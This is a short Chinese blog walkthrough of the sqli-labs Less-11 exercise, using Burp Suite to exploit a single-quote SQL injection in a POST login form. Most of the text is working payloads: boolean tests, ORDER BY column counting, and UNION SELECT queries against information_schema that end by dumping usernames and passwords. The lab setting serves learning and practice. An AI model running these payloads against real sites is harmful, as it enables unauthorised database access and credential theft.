less-11的注入操作

最新推荐文章于 2025-03-04 20:51:06 发布

原创最新推荐文章于 2025-03-04 20:51:06 发布 · 159 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#less

本文详细介绍了在火狐浏览器中使用Foxyproxy配置后的BurpSuite进行SQL注入攻击的过程。通过发送Repeater请求，发现基于单引号的字符型注入点，并逐步进行字段判断、表名和列名的查询，最终暴露了数据库中的用户名和密码。

在火狐浏览器下载foxyproxy 配置好之后打开第十一个题目
在这里插入图片描述

在burpsuite 右击选择 send repeater 根据题目加一个’尝试一下

uname=admin’ and 1=1 --+&passwd=admin&submit=Submit
uname=admin’ and 1=2 --+&passwd=admin&submit=Submit
and 1=2 --+恒为假是，执行错误，发现注入点是基于单引号的字符型注入
在这里插入图片描述
判断字段
uname=admin’ order by 3 --+&passwd=admin&submit=Submit
发现字段小于3

uname=admin’ order by 2 --+&passwd=admin&submit=Submit
发现字段数只有2

uname=admin &passwd= ’ union select 1,2 --+&submit=Submit
由于他只在uname和passwd表单中输出到屏幕上内容，uname闭合了，所以让passwd输出那个查询哪个语句
在这里插入图片描述
uname=admin’ &passwd=union select 1,group_concat(user(),@@datadir,database()) --+&submit=Submit

uname=admin’ &passwd=union select 1,group_concat( table_name) from information_schema.tables where table_schema=database() --+&submit=Submit
查询查出哪个库名下的所有的表名（security）
在这里插入图片描述

uname=admin’ &passwd=union select 1,group_concat( column_name) from information_schema.columns where table_name=“users” --+&submit=Submit爆表里面的字段

uname=admin’ &passwd=union select 1,group_concat( username,‘/’,password) from users --+&submit=Submit爆字段里面的数据
在这里插入图片描述